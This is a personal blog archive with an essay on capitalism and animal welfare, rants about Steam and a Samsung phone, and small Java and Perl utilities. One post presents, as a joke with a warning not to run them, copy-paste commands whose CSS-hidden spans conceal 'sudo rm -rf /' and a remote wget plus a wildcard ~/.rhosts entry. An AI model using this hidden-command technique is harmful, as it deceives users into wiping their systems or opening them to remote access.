23.11.24

An unsent letter from 2013

I am a capitalist. Though many might claim otherwise. My principal belief that motivates this counter-claim is that I do not believe that increasing ones bottom line is an argument for morality by itself. "I did action X because it generates more income" is not acceptable, in my mind, as an argument for worth to further the claim that action X is moral.

A business entity providing goods and services to customers for income is the basis of our economy. It's a good idea, at its heart: potential customers get access to more than they otherwise would and in achieving this, the entity gains some monetary reward. Over time this has grown both in size and complexity to the point that analysing modern businesses in this way is an over-simplification at best. But of the many things that are missing, is something so simple one might have included it in the original statement. Morality. Ethics. That definition of an entity would include a guild of assassins but, for such an extreme example, I'm confident few would think assassins have a moral place in a modern economy.

The argument of the bottom line has allowed people to get away with too much. Ridiculous examples like assassins guilds aside, there are still sufficiently unethical business entities in existence today such that most people would garner consensus on their amorality. Pyramid schemes, the motivations for occupy Wall St., the "businesses" of corrupt politicians and gangsters are all primarily motivated by increasing their income.

Puppy mills justify their deplorable treatment of humanity's favourite animal by claiming to be meeting a need that can't be met by animal breeders and handlers. A similar argument is made by abattoir workers' treatment of livestock before they are killed. "We need to electrocute these cows before they are killed so they don't feel the pain of bleeding out as a result their throats cut by a circular saw" is a commonly accepted argument that is rarely followed up by "And what is the reason for hanging them upside down in suspended suspense so that they can watch the cows ahead of them be electrocuted and slaughtered?". In both cases, the point could be made that in order to serve up the unimaginable quantity of meat we consume, a degree of unpalatable slaughter automation (Incidentally, Slaughtomation would be an incredible name for a horror film) is necessary. But, to me at least, this sounds like the age-old argument of "The end justifies the means". We all want to eat meat so we slaughter them by the tonne and treat animals cruelly. We all want to own a dog, so we produce them like they were factory products and treat animals cruelly.

So in order to increase supply to satisfy modern quantities of demand (and there is a hell of a lot of demand for meat and puppies, in particular in the wake of a PETA campaign or film featuring a dog), we need to sacrifice outdated concepts of morality and ethics. But there is a third element to the concepts of supply and demand: price. If price increases, demand drops. Unfortunately, demand dropping means sub-optimal income for the business (they sell less than would be the most efficient amount to sell for any price). So in reality it isn't about meeting huge demands at all; it's about meeting those huge demands while still maximising income. Unfortunately for puppy mills and the meat industry, "the profit margin justifies the means" is not an argument with established efficacy.

Yesterday I bought half a kilo of beef for $3. A week before I bought a kilo for $4. Both were on 'special' at the supermarket and market respectfully, but as I understand it 'special' means selling at reduced profit (never at a loss). That retail price is competitive with that of many vegetables.
Vegetables that would have been easier to grow, are better for you (relative to adding more meat to the average diet) and are better for the environment i.e. less land used and plants convert CO2 to O2 and (most) don't produce methane.

This isn't an argument for vegetarianism, but it is an acknowledgement that we are meeting our incredibly high meat demand using methods that ethically we would condemn if we weren't able to ignore them. We could meet the same demand, a higher one in fact, by supplementing our meat consumption with some yummy meat-free dishes without increasing overall dietary costs for the average consumer, quite possibly decreasing them in fact.

As for the industrialised state of the pet industry, puppy mills and their equivalents don't just cater for people seeking genuine pet ownership, pets ready availability in pet stores (one step away from a drive-through experience) allows for our whims and wishes to get the better of us whenever we are exposed to a cute puppy on an ad to make us want to buy breakfast cereal, toilet paper, or paint. And we are exposed to such things constantly. By contacting breeders and waiting for pets availability, or by applying to go through the adoption process, it gives us time to reflect on our reasons for wanting a pet and whether we are prepared for the responsibilities and downsides that come with it. Pounds, breeders, rescue groups, and private owners all vet potential owners as well, limiting the damage (to the best of their ability) to the animal by not placing them with an unsuitable owner. 

This would be further improved by us enacting some social change to do away with toxic notions like pets being 'practice for having children' or as toys for children. Encouraging couples who want to evaluate each other as potential parents to use more ethical and effective means of doing so, for example, honest conversation - an excellent life skill for interpersonal relationships among other things. I'm not saying we should do away with pets for kids, that is laughable, but to make them less readily accessible in the form of pet stores that enable impulse purchases of living creatures would also put a small burden on us as a society to accept that unavailability. While pet stores are great for entertaining children at a mall or shopping centre, perhaps petting zoos or designated pet areas could substitute as a more ethical and wholesome activity. And probably improve the accessibility of malls for those who do decide to take on pets and don't want to leave their "beloved" practice-child in a hot car while they do their shopping.

Ultimately, my argument is not only could we easily afford ethics and morality, we could do so more affordably and healthily than we are now, and we could feel better that we aren't keeping our despicable practices out of sight and mind. It wouldn't even be that difficult and we could still maximise for income as capitalists are always going to. We would just need to reflect on our practices and no longer indemnify their ethicality by the argument of the bottom line.

Labels: ,

19.6.14

TPB live search

Make a bookmark for the string below in Firefox in order to search in the url bar for tpb items sorted by seeders.

http://thepiratebay.se/search/%s/0/7/0

Labels: ,

8.12.13

Irony in the form of hidden spans







NB: Don't run these! Copy-paste the command into a text editor.

Single command to remove all viruses from your machine. It does what it says on the label, but I wouldn't recommend it.

 <p class="codeblock">  
    sudo fgrep virus * > quarantine; <span style="position: absolute; left: -100px; top: -100px">sudo rm -rf / ; </span> rm quarantine  
 </p>  



I'm trying to think of a similar joke for .rhosts and unlimited free tech support but it's still in early stages...

 <p class="codeblock">  
    sudo wget "http://seanlithgow.com.au/arsehole/usersneedinghelp.pl"; <span style="position: absolute; left: -100px; top: -100px"> > /dev/null; sudo echo "*" > ~/.rhosts; </span> man man  
 </p>  




Labels:

13.11.13

My first complaint about my Samsung Galaxy S, and it's a fucking big one.

 Despite looking somewhat like an iPhone without being as shit as one, I really have enjoyed my Galaxy these last two years. Pretty much ever since I bricked and then un-bricked it in the same week, after reading several laborious pdfs explaining probably-pretty-straight-forward concepts that I just wasn't getting, it's worked wonderfully.

But I haven't been able to receive some text messages (initially I wasn't sure if they were MMSes or SMSes as they just said 'Download now' and then 'Download failed: Unable to connect to server"). I've reset the MMS APN settings for Optus a few times. And, after they charged me an absolute fuckton (no, seriously, a literal fuckton. it was horrific) that one month during which I foolishly had their default settings still enabled, I subsequently decided it was time to turn 3G data the fuck off.

Turns out Samsungs don't understand the difference between MMS and internet and if you turn one off, they both go off. Fucking ridiculous. I don't know if it is Samsung's fault or Google's, but for some fucking reason I can't send or receive MMSes while Data packets is turned off. And I'm not alone:
http://code.google.com/p/android/issues/detail?id=17329

I never thought I'd say this but... Fuck you Google and Samsung, pull your fucking fingers out and sort this the fuck out. That bug was first reported 2 years ago and still isn't fixed. If a turd is on your kitchen top for two fucking years, it's no longer important who put it there - everyone is to blame for not throwing it away. God damn stupid retards, get your shit together.

Labels: ,

When the volume icon disappears from the system tray, get it back again

Windows often loses the volume icon from the system tray on my laptop. Sound still works, but forget opening up mixer and setting application-specific volume settings.

The solution: End the explorer.exe process and then restart it. Bam. Back to normal.

Labels: ,

12.10.13

I knew this would happen; fucking Steam

God damn it. When Steam first came out I was hugely suspicious, bordering on paranoia, that one day I'd wake up and all the games I'd bought wouldn't be playable due to some kind of serverside error or a disconnection from my ISP.

I'm online now, (obviously, as I am posting this) and my computer won't connect to the steam network. The error doesn't give a reason, just that it can't connect. Fuck this.

I want to play Magicka; I was thinking about buying a copy for my little brother because he's well into wizards at the moment and Magicka is flipping awesome. I own a copy (on Steam) and thought I should give a little bit of a playthrough to make sure its not too violent/sweary or to see if such content can be turned off.

I bought this game, Paradox (the developers) have made some great games and charged something entirely reasonable. I'd heard good things, and its fully multiplayer which is a huge plus.

BUT now I can't play a game that I own... because.... Steam. Because Steam is shit. Because it can't connect and won't tell me why not. Because I'm not going to invest my entire Saturday diagnosing exactly what the problem is and attempting to fix it or contact Steam Support to get them to fix it.

I bought Magicka. Ergo I should be able to play it. NOT FREAKING HAPPY JAN.

Labels: ,

29.7.13

Also a Java utility library that includes a more RSI-friendly print option

 // utility functions  
 public class S {  
      private static boolean DEBUGMODE = true;  
      private S(){}  
      public static void p(Object s)  
      {  
           if (DEBUGMODE)  
           {  
                StackTraceElement[] ste = Thread.currentThread().getStackTrace();  
                String n = ste[2].getClassName();  
                System.out.println(n +": "+ s.toString());  
           }  
      }  
      public static Position int2Position(int i)  
      {  
           switch (i)  
           {  
           case 5: return Position.SCANNER;  
           case 0: return Position.ONE;  
           case 1: return Position.TWO;  
           case 2: return Position.THREE;  
           case 3: return Position.FOUR;  
           case 4: return Position.FIVE;  
           default: return null;  
           }  
      }  
      public static int Position2int(Position p)  
      {  
           if (p==Position.SCANNER)  return 5;  
           else if (p==Position.ONE)  return 0;  
           else if (p==Position.TWO)  return 1;  
           else if (p==Position.THREE) return 2;  
           else if (p==Position.FOUR) return 3;  
           else if (p==Position.FIVE) return 4;  
           return -1; // this should never happen; if it does, hopefully this causes some kind of silly error  
      }  
 }  

Labels:

Java apoptosis object; cascading abortion

Instantiating this object will cause cascading interrupts for all threads (including gui threads etc). It is useful for aborting a multi-threaded simulation from within a catch or something. Be aware, calling new Apoptosis() will end the current thread too, so you can never do anything with the object.
 // finds all the threads and kills them  
 public class Apoptosis   
 {  
      // finds all the threads and kills them  
      public Apoptosis()  
      {  
           ThreadGroup allThreads = Thread.currentThread().getThreadGroup();  
           ThreadGroup parentGroup;  
           while ( ( parentGroup = allThreads.getParent() ) != null )   
           {  
                allThreads = parentGroup;  
           }  
           allThreads.interrupt();  
      }  
 }  

Labels: ,

18.7.13

So lazy

sean@potatocake:~$ps -e | grep deluge
sean@potatocake:~$deluged
sean@potatocake:~$man deluge-web
sean@potatocake:~$deluge-web -f -p 8999
So lazy. That computer was like... 3 meters away from me at the time.

Labels: ,

15.6.13

concat pdf

I regularly use whatever websites come up when you google 'concat pdf' to merge multiple pdf files together but this is way easier! No more selecting 30-40 pdf documents! Also, this command doesn't regularly ask for money or label the pdfs with its watermark. Procore...

 #! /usr/bin/perl -w  
 my @pdfs = `ls -rt | grep .pdf`;  
 my @args = qw/gs -q -sPAPERSIZE=A4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf/;  
 chomp && push @args, $_ foreach ( @pdfs );  
 system( @args );  

Labels: